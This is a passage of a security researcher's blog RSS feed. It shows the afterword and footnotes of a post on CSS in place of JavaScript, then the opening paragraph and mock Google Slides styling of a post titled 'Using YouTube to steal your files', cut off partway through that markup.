time.&lt;/p&gt;&#xA;&lt;h2 id=&#34;afterword&#34;&gt;afterword&lt;/h2&gt;&#xA;&lt;p&gt;it&amp;rsquo;s been almost a year since my last post, but i hope it&amp;rsquo;s been worth the wait ^_^&lt;/p&gt;&#xA;&lt;p&gt;as usual, this post is a self-contained html file with no javascript, images, or other external resources - everything on the page is handwritten html/css, weighing in at around 49kB gzipped. it was really fun creating all the little interactive widgets and visuals this time around, i think i&amp;rsquo;ve improved in css a lot since the last time i posted.&lt;/p&gt;&#xA;&lt;p&gt;this entire post turned out to be a bit of a fun mess (as did i!), it&amp;rsquo;s almost like a chaotic gradient of tone throughout, i hope it was still interesting and enjoyable to read though.&lt;/p&gt;&#xA;&lt;p&gt;i have a few new posts in the works: in addition to the second css one mentioned earlier, i also have one about a new web vulnerability subclass i discovered, and one about a trans topic. i&amp;rsquo;m not sure when these posts will come out, but we&amp;rsquo;ll see! make sure to add me to your rss reader if that sounds fun.&lt;/p&gt;&#xA;&lt;p&gt;i&amp;rsquo;ll also be giving &lt;a href=&#34;https://pretalx.com/bsides-tallinn-2025/talk/S3V8UY/&#34;&gt;a talk&lt;/a&gt; at bsides tallinn in september! i&amp;rsquo;m hoping to also do css-related talks at the next ccc and disobey, but we&amp;rsquo;ll have to see whether i get accepted and have the travel budget for those.&lt;/p&gt;&#xA;&lt;p&gt;thank you so much for reading &amp;lt;3&lt;/p&gt;&#xA;&lt;p id=&#34;youAre&#34;&gt;you&#39;re awesome!! (i can tell because you checked &lt;a href=&#34;#awesome&#34;&gt;that checkbox&lt;/a&gt; from earlier)&lt;/p&gt;&#xD;&#xA;&lt;style&gt;body:not(:has(#awesome:checked)) #youAre { display: none; }&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;em&gt;If you&amp;rsquo;d like to reach out, feel free to message me on my socials or at lyra.horse [at] gmail.com.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Discuss this post on:&lt;/strong&gt; &lt;a href=&#34;https://twitter.com/rebane2001/status/1961167342530183535&#34;&gt;twitter&lt;/a&gt;, &lt;a href=&#34;https://infosec.exchange/@rebane2001/115108329158660789&#34;&gt;mastodon&lt;/a&gt;, &lt;a href=&#34;https://lobste.rs/s/xx7dbi/you_no_longer_need_javascript_overview&#34;&gt;lobsters&lt;/a&gt;, &lt;a href=&#34;https://news.ycombinator.com/item?id=45056878&#34;&gt;hn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;!--[^interactive]: They actually don&#39;t.--&gt;&#xD;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;Chrome&amp;rsquo;s DevTools come with the cool flexbox widget. Firefox&amp;rsquo;s however don&amp;rsquo;t seem to for some reason? I find that weird because Firefox does have really good tools for flexbox and grid development, so this seems like an odd omission.&lt;br&gt;&#xA;&lt;em&gt;Update (Oct 2025): &lt;a href=&#34;https://mastodon.social/@nicolaschevobbe/115124078265768359&#34;&gt;Nicolas&lt;/a&gt; let me know that this &lt;a href=&#34;https://phabricator.services.mozilla.com/D260229&#34;&gt;will be added soon&lt;/a&gt;.&lt;/em&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;While I think what I said is true, Tailwind does have more to its existence, the core of which can be found in &lt;a href=&#34;https://adamwathan.me/css-utility-classes-and-separation-of-concerns/&#34;&gt;this post&lt;/a&gt; by its creator.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;You are allowed to just make up elements &lt;a target=&#34;_blank&#34; href=&#34;https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name&#34;&gt;as long as their names contain a hyphen&lt;/a&gt;. Apart from the 8 existing tags listed at the link, no HTML tags contain a hyphen and none ever will. The spec even has &lt;code&gt;&amp;lt;math-α&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;emotion-😍&amp;gt;&lt;/code&gt; as &lt;a target=&#34;_blank&#34; href=&#34;https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name:~:text=😍&#34;&gt;examples of allowed names&lt;/a&gt;. You are allowed to &lt;a target=&#34;_blank&#34; href=&#34;https://html.spec.whatwg.org/multipage/custom-elements.html#custom-elements-core-concepts:~:text=Any%20namespace%2Dless%20attribute&#34;&gt;make up attributes&lt;/a&gt; on an &lt;a target=&#34;_blank&#34; href=&#34;https://html.spec.whatwg.org/multipage/custom-elements.html#autonomous-custom-element&#34;&gt;autonomous custom element&lt;/a&gt;, but for other elements (built-in or extended) you should only make up &lt;code&gt;data-*&lt;/code&gt; attributes. I make heavy use of this on my blog to make writing HTML and CSS nicer and avoid meaningless div-soup.&lt;!-- links in this footnote are set to target=&#34;_blank&#34; because otherwise the whatwg spec fragment links don&#39;t work on page load --&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;Still not nice to read for you? I&amp;rsquo;m personally not a fan of &lt;a href=&#34;https://getbem.com/&#34;&gt;BEM&lt;/a&gt;, but I&amp;rsquo;d definitely recommend reading up on it too if you just don&amp;rsquo;t vibe with the way I&amp;rsquo;m writing my examples. Also, my example intentionally shows off a lot of the syntax at once, but in the real world it might make sense to structure things a little differently.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;Baseline browsers are Safari (macOS/iOS), Chrome (desktop/Android), Edge (desktop), and Firefox (desktop/Android).&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;The MDN docs of course also list detailed browser compatibility, but the Baseline symbols are nice for just getting a quick &amp;ldquo;yeah, we can use it and it&amp;rsquo;ll work for everyone&amp;rdquo; type overview.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:7&#34;&gt;&#xA;&lt;p&gt;ES3 (1999) is the last &amp;ldquo;classic&amp;rdquo; version of JavaScript. In 2009 we got the first major revision known as ES5, and a few years later we kicked off the yearly spec updates with ES2015. Also ES4 was abandoned which makes me feel sad :c.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:8&#34;&gt;&#xA;&lt;p&gt;93 files!! Seems like they&amp;rsquo;re 1/3 functionality, 1/3 ads, and 1/3 analytics.&lt;!-- Funnily enough, after clicking on an article and dismissing its full-screen ad, 2/3rds of the page are covered in ads - you can&#39;t even read the full headline of the article you clicked on without scrolling down.--&gt; The site works just fine with JavaScript disabled - only stuff like the comments section and ads won&amp;rsquo;t load. It&amp;rsquo;s no longer a laggy mess either for some reason.&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:9&#34;&gt;&#xA;&lt;p&gt;I think the &lt;a href=&#34;https://x3c.tf/archive/2025/x3ctf.html#challenges&#34;&gt;x3ctf challenges&lt;/a&gt; page looks really smooth on my computer - the marquee text animation and clicking on the challenges is buttery. And it also runs pretty well on the low-end hardware I have. Note that some browser performance recording tools can act a bit weird with CSS animations, so make sure your tools are working as expected before using them. Unrelated, but I made some other cool x3ctf web stuff too - check out &lt;a href=&#34;https://x3c.tf/archive/&#34;&gt;the archive&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:9&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:10&#34;&gt;&#xA;&lt;p&gt;There&amp;rsquo;s &lt;a href=&#34;https://issues.chromium.org/issues/40923583&#34;&gt;a bug&lt;/a&gt; in Chrome that &lt;em&gt;requires&lt;/em&gt; you to use a fieldset/radiogroup for the radio button index to work correctly in screenreaders. Eg if you have 3 radio buttons with the same &lt;em&gt;name&lt;/em&gt;, selecting one of them should read &lt;em&gt;&amp;ldquo;radio button 1 of 3&amp;rdquo;&lt;/em&gt;, which is what Firefox does, but in Chrome it will instead read it as &lt;em&gt;&amp;ldquo;radio button 4 of 9&amp;rdquo;&lt;/em&gt; or whatever if you don&amp;rsquo;t have a fieldset/radiogroup because it kind of just combines all the radio buttons on the page into a single index.&amp;#160;&lt;a href=&#34;#fnref:10&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:11&#34;&gt;&#xA;&lt;p&gt;A certain HR platform I have to use puts its action buttons at the very bottom of a 100vh container, leading to them not being visible/interactable on my phone - not a headache you want to go through when requesting sick days. It&amp;rsquo;s a good example of how just using the wrong unit can cause a pretty bad real world accessibility problem.&amp;#160;&lt;a href=&#34;#fnref:11&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:12&#34;&gt;&#xA;&lt;p&gt;Well, probably not. This is &lt;a href=&#34;https://issues.chromium.org/issues/434187209&#34;&gt;a bug&lt;/a&gt; I found while writing this post that only affects Chrome, and it&amp;rsquo;ll probably get fixed before it even manages to hit stable. &lt;em&gt;Update:&lt;/em&gt; I took so long to get this blog post out that it has been fixed now. During the writing of this blog post I found &lt;a href=&#34;https://issues.chromium.org/issues/440613173&#34;&gt;another bug&lt;/a&gt; in Chrome though, which is pretty funny. &lt;em&gt;Update 2:&lt;/em&gt; I found &lt;a href=&#34;https://issues.chromium.org/issues/441442313&#34;&gt;yet another Chrome bug&lt;/a&gt; while writing this post, this one is kinda weird, you should read it.&amp;#160;&lt;a href=&#34;#fnref:12&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:13&#34;&gt;&#xA;&lt;p&gt;This matters for people on slow connections, such as bad mobile data, satellite internet, tor, or &lt;a href=&#34;https://code.kryo.se/iodine/&#34;&gt;iodine&lt;/a&gt;. While my blog posts are very small in size, the CSS alone can take up &lt;a href=&#34;https://endtimes.dev/why-your-website-should-be-under-14kb-in-size/&#34;&gt;more than the first 14kB&lt;/a&gt; of a TCP round trip, so with blocking CSS in the head you might have to wait a few extra seconds (or minutes, in the case of iodine) just to start reading the first paragraph. Now, that 14kB number &lt;a href=&#34;https://www.tunetheweb.com/blog/critical-resources-and-the-first-14kb/&#34;&gt;isn&amp;rsquo;t completely accurate in the modern world&lt;/a&gt;, but testing on my own server (HTTP/2, TLS 1.3), around ~16kB of the compressed html reaches the browser in the first batch of http data.&amp;#160;&lt;a href=&#34;#fnref:13&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:14&#34;&gt;&#xA;&lt;p&gt;By this I mean tools such as Copilot, Cursor, chatbots etc. I understand there is a huge difference between full-on &lt;em&gt;vibe coding&lt;/em&gt; and just using the tab key, but I &lt;strong&gt;do not&lt;/strong&gt; want to use or interact with any of those tools. Please respect that.&amp;#160;&lt;a href=&#34;#fnref:14&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:15&#34;&gt;&#xA;&lt;p&gt;I write all my code (and blogposts) in &lt;a href=&#34;https://www.sublimetext.com/&#34;&gt;Sublime Text&lt;/a&gt;, which to me is just a glorified version of Notepad. The features over Notepad it gives me are syntax highlighting, multiple cursors, keyboard shortcuts, and a better visual design. It doesn&amp;rsquo;t do that much, and yet, it&amp;rsquo;s perfect. It&amp;rsquo;s so good I paid for it.&amp;#160;&lt;a href=&#34;#fnref:15&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</description>
    </item>
    <item>
      <title>Using YouTube to steal your files</title>
      <link>https://lyra.horse/blog/2024/09/using-youtube-to-steal-your-files/</link>
      <pubDate>Thu, 19 Sep 2024 07:30:00 +0000</pubDate>
      <guid>https://lyra.horse/blog/2024/09/using-youtube-to-steal-your-files/</guid>
      <description>&lt;p&gt;In my security research I often come across weird quirks and behaviours that aren&amp;rsquo;t particularly useful beyond a neat party trick. It&amp;rsquo;s always a good idea to keep track of them though, perhaps one day they&amp;rsquo;ll be just the missing piece you need.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;.urlBox {&#xD;&#xA;    word-break: break-all;&#xD;&#xA;    background: #2B2B2B;&#xD;&#xA;    border-radius:4px;&#xD;&#xA;    padding: 2px 5px;&#xD;&#xA;    color: #C7C7C7;&#xD;&#xA;    font-size: 12px;&#xD;&#xA;    font-family: system-ui, sans-serif;&#xD;&#xA;    width: fit-content;&#xD;&#xA;}&#xD;&#xA;.urlBox a {&#xD;&#xA;    color: #C7C7C7;&#xD;&#xA;}&#xD;&#xA;.urlBox::selection, .urlBox *::selection {&#xD;&#xA;    background: #FFF;&#xD;&#xA;    color: #000;&#xD;&#xA;}&#xD;&#xA;.genericContainer {&#xD;&#xA;    width: 100%;&#xD;&#xA;    border-radius: 4px;&#xD;&#xA;    overflow: hidden;&#xD;&#xA;}&#xD;&#xA;.coarseText {&#xD;&#xA;    display: none;&#xD;&#xA;}&#xD;&#xA;.fineText {&#xD;&#xA;    display: inline;&#xD;&#xA;}&#xD;&#xA;@media (pointer: coarse) {&#xD;&#xA;    .coarseText {&#xD;&#xA;        display: inline;&#xD;&#xA;    }&#xD;&#xA;    .fineText {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &gt;= 720px) {&#xD;&#xA;    .under720 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 720px) {&#xD;&#xA;    .over720 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &gt;= 640px) {&#xD;&#xA;    .under640 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 640px) {&#xD;&#xA;    .over640 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &gt;= 560px) {&#xD;&#xA;    .under560 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 560px) {&#xD;&#xA;    .over560 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &gt;= 480px) {&#xD;&#xA;    .under480 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 480px) {&#xD;&#xA;    .over480 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;    .sldsBody {&#xD;&#xA;        height: fit-content;&#xD;&#xA;        padding-bottom: 16px;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextboxBig {&#xD;&#xA;        font-size: 30px;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextboxSmall {&#xD;&#xA;        font-size: 16px;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &gt;= 360px) {&#xD;&#xA;    .under360 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;@media (width &lt; 360px) {&#xD;&#xA;    .over360 {&#xD;&#xA;        display: none;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextboxBig {&#xD;&#xA;        font-size: 24px;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextboxSmall {&#xD;&#xA;        font-size: 13px;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    /* You may notice me using the peculiar font-weight 501 in my CSS. That&#39;s because I intended to use 500, but for some reason Firefox renders fonts with just 400/600 at 500 as 400, not 600, so I&#39;m using 501 so that it rounds to 600 if 500 is not available. */&#xD;&#xA;    .sldsBody {&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 360px;&#xD;&#xA;    }&#xD;&#xA;    .sldsSideLeft {&#xD;&#xA;        width: 220px;&#xD;&#xA;        height: 100%;&#xD;&#xA;        user-select: none;&#xD;&#xA;    }&#xD;&#xA;    .sldsFilmEntry {&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 213px;&#xD;&#xA;        height: 100px;&#xD;&#xA;    }&#xD;&#xA;    .sldsFilmText {&#xD;&#xA;        margin: 6px 4px 0 auto;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;    }&#xD;&#xA;    .sldsFilmSlide {&#xD;&#xA;        width: 150px;&#xD;&#xA;        height: 86px;&#xD;&#xA;        border: 3px solid rgb(11, 87, 208);&#xD;&#xA;        border-radius: 12px;&#xD;&#xA;        margin: 4px 4px 4px 4px;&#xD;&#xA;    }&#xD;&#xA;    .sldsFilmSlide &gt; div {&#xD;&#xA;        background: #FFF;&#xD;&#xA;        border-radius: 8px;&#xD;&#xA;        width: calc(150px - 6px);&#xD;&#xA;        height: calc(86px - 6px);&#xD;&#xA;        margin: 3px;&#xD;&#xA;    }&#xD;&#xA;    .sldsMain {&#xD;&#xA;        display: flex;&#xD;&#xA;        height: 100%;&#xD;&#xA;        flex-grow: 1;&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlide {&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        width: calc(100% - 32px);&#xD;&#xA;        aspect-ratio: 16 / 9;&#xD;&#xA;        background: #FFF;&#xD;&#xA;        margin: auto;&#xD;&#xA;        /* box-shadow: 0px 0px 4px 0px #0007; */&#xD;&#xA;        border: 1px solid #C4C7C5;&#xD;&#xA;        font-family: Arial, Helvetica, sans-serif;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextbox {&#xD;&#xA;        border: 1px solid #C2C2C2;&#xD;&#xA;        width: 90%;&#xD;&#xA;        margin: auto;&#xD;&#xA;        text-align: center;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextboxBig {&#xD;&#xA;        margin-bottom: 2px;&#xD;&#xA;        margin-top: 8%;&#xD;&#xA;        padding-top: 10%;&#xD;&#xA;        font-size: 35px;&#xD;&#xA;        color: #000;&#xD;&#xA;    }&#xD;&#xA;    .sldsSlideTextboxSmall {&#xD;&#xA;        margin-top: 2px;&#xD;&#xA;        border: 1px solid #D7D7D7;&#xD;&#xA;        height: 15%;&#xD;&#xA;        font-size: 19px;&#xD;&#xA;        color: #595959;&#xD;&#xA;    }&#xD;&#xA;    .slds {&#xD;&#xA;        border-radius: 4px;&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: fit-content;&#xD;&#xA;        background: #f9fbfd;&#xD;&#xA;        font-family: &#34;Google Sans&#34;, &#34;Open Sans&#34;, Roboto, sans-serif;&#xD;&#xA;    }&#xD;&#xA;    .sldsH {&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-wrap: wrap;&#xD;&#xA;        width: calc(100% - 28px);&#xD;&#xA;        min-height: 48px;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        font-weight: 400;&#xD;&#xA;        padding: 8px 14px;&#xD;&#xA;    }&#xD;&#xA;    .sldsHlt {&#xD;&#xA;        flex: 1 1 192px;&#xD;&#xA;        overflow: hidden;&#xD;&#xA;    }&#xD;&#xA;    .sldsHlnks {&#xD;&#xA;        width: 100%;&#xD;&#xA;        height: 25px;&#xD;&#xA;        display: flex;&#xD;&#xA;        margin-top: 1px;&#xD;&#xA;        flex-flow: row wrap;&#xD;&#xA;        overflow: hidden;&#xD;&#xA;    }&#xD;&#xA;    .sldsHlnks &gt; span {&#xD;&#xA;        padding: 2px 7px;&#xD;&#xA;        border: 1px solid transparent;&#xD;&#xA;        border-radius: 4px;&#xD;&#xA;        user-select: none;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;    }&#xD;&#xA;    .sldsHlnks &gt; span:hover {&#xD;&#xA;        background: #e8ebee;&#xD;&#xA;    }&#xD;&#xA;    .sldsHlnks &gt; span:active {&#xD;&#xA;        background: #e1e3e6;&#xD;&#xA;    }&#xD;&#xA;    .sldsHicon {&#xD;&#xA;        display: flex;&#xD;&#xA;        min-width: 40px;&#xD;&#xA;        height: 52px;&#xD;&#xA;    }&#xD;&#xA;    .sldsHicon &gt; div {&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 26px;&#xD;&#xA;        height: 34px;&#xD;&#xA;        background: #FFBA00;&#xD;&#xA;        margin: auto;&#xD;&#xA;        border-radius: 4px 12px 4px 4px;&#xD;&#xA;    }&#xD;&#xA;    .sldsHicon &gt; div &gt; div {&#xD;&#xA;        width: 14px;&#xD;&#xA;        height: 8px;&#xD;&#xA;        margin: auto;&#xD;&#xA;        margin-bottom: 8px;&#xD;&#xA;        border-radius: 2px;&#xD;&#xA;        border: 2px solid #FFF;&#xD;&#xA;    }&#xD;&#xA;    .sldsHtitle {&#xD;&#xA;        font-size: 18px;&#xD;&#xA;        padding-left: 6px;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtn {&#xD;&#xA;        display: flex;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        user-select: none;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnWhite &gt; div {&#xD;&#xA;        border: 1px solid #747775;&#xD;&#xA;        color: #444746;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnWhite &gt; div:hover {&#xD;&#xA;        background: #e8ebee;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnWhite &gt; div:active {&#xD;&#xA;        background: #e1e3e6;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlue &gt; div:first-child,&#xD;&#xA;    .sldsHbtnDsbl &gt; div:first-child {&#xD;&#xA;        border-right-color: #f9fbfd;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlue &gt; div {&#xD;&#xA;        border: 1px solid #0000;&#xD;&#xA;        color: #001d35;&#xD;&#xA;        background: #c2e7ff;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnDsbl &gt; div {&#xD;&#xA;        border: 1px solid #0000;&#xD;&#xA;        color: #838383;&#xD;&#xA;        background: #ECECED;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtn.sldsHbtnDsbl &gt; div:last-child {&#xD;&#xA;        cursor: default;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlue &gt; div:hover {&#xD;&#xA;        background: #B2D7EF;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlue &gt; div:active {&#xD;&#xA;        background: #ABCFE7;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlueDark &gt; div:first-child {&#xD;&#xA;        border-right-color: #1E1E1F;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlueDark &gt; div {&#xD;&#xA;        border: 1px solid #0000;&#xD;&#xA;        color: #C2E7FF;&#xD;&#xA;        background: #004A77;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlueDark &gt; div:hover {&#xD;&#xA;        background: #105782;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtnBlueDark &gt; div:active {&#xD;&#xA;        /* This color doesn&#39;t exist on the actual site,&#xD;&#xA;         * but it feels horrible without it, so I decided&#xD;&#xA;         * to add it anyways so you can click and stuff! */&#xD;&#xA;        background: #145e8b;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtn &gt; div:first-child {&#xD;&#xA;        padding: 9px 17px 11px 18px;&#xD;&#xA;        border-radius: 100px 0 0 100px;&#xD;&#xA;        display: flex;&#xD;&#xA;        justify-content: center;&#xD;&#xA;        align-items: center;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtn &gt; div:last-child {&#xD;&#xA;        padding: 10px 14px 10px 12px;&#xD;&#xA;        border-left: none;&#xD;&#xA;        border-radius: 0 100px 100px 0;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;    }&#xD;&#xA;    .sldsHbtn &gt; div:first-child:last-child {&#xD;&#xA;        border-radius: 100px;&#xD;&#xA;        padding: 9px 17px 11px 18px;&#xD;&#xA;        border-right-color: #0000;&#xD;&#xA;    }&#xD;&#xA;    .sldsHpfp &gt; div {&#xD;&#xA;        width:100%;&#xD;&#xA;        height: 100%;&#xD;&#xA;        background: #7B1FA2;&#xD;&#xA;        border-radius: 100px;&#xD;&#xA;        color: #FFF;&#xD;&#xA;        text-align: center;&#xD;&#xA;        font-size: 20px;&#xD;&#xA;        line-height: 32px;&#xD;&#xA;        user-select: none;&#xD;&#xA;    }&#xD;&#xA;    .sldsHpfp {&#xD;&#xA;        width: 32px;&#xD;&#xA;        height: 32px;&#xD;&#xA;        padding: 4px;&#xD;&#xA;        border-radius: 100px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;    }&#xD;&#xA;    .sldsHpfp:hover {&#xD;&#xA;        background: #EAECEE;&#xD;&#xA;    }&#xD;&#xA;    .sldsHpfp:active {&#xD;&#xA;        background: #D4D7D9;&#xD;&#xA;    }&#xD;&#xA;    .filePg .sldsHpfp:hover {&#xD;&#xA;        background: #2E2E2F;&#xD;&#xA;    }&#xD;&#xA;    .filePg .sldsHpfp:active {&#xD;&#xA;        background: #393939;&#xD;&#xA;    }&#xD;&#xA;    .sldsDrop {&#xD;&#xA;        /* &#xD;&#xA;         * idk who thought to make a dropdown icon out of&#xD;&#xA;         * css borders but it&#39;s pretty genius haha&#xD;&#xA;         */&#xD;&#xA;        border: solid 4px #0000;&#xD;&#xA;        border-bottom: solid 0px currentcolor;&#xD;&#xA;        border-top: solid 4px currentcolor;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;div class=&#34;slds&#34; role=img aria-label=&#34;Empty google slides presentation&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsH&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHicon&#34;&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;sldsHlt&#34;&gt;&#xD;&#xA;            &lt;span class=&#34;sldsHtitle&#34; contenteditable=&#34;plaintext-only&#34;&gt;Untitled presentation&lt;/span&gt;&lt;br&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHlnks&#34;&gt;&#xD;&#xA;                &lt;span&gt;File&lt;/span&gt;&lt;span&gt;Edit&lt;/span&gt;&lt;span&gt;View&lt;/span&gt;&lt;span&gt;Insert&lt;/span&gt;&lt;span&gt;Format&lt;/span&gt;&lt;span&gt;Slide&lt;/span&gt;&lt;span&gt;Arrange&lt;/span&gt;&lt;span&gt;Tools&lt;/span&gt;&lt;span&gt;Extensions&lt;/span&gt;&lt;span&gt;Help&lt;/span&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsHbtn sldsHbtnWhite over640&#34;&gt;&lt;div&gt;Slideshow&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;div 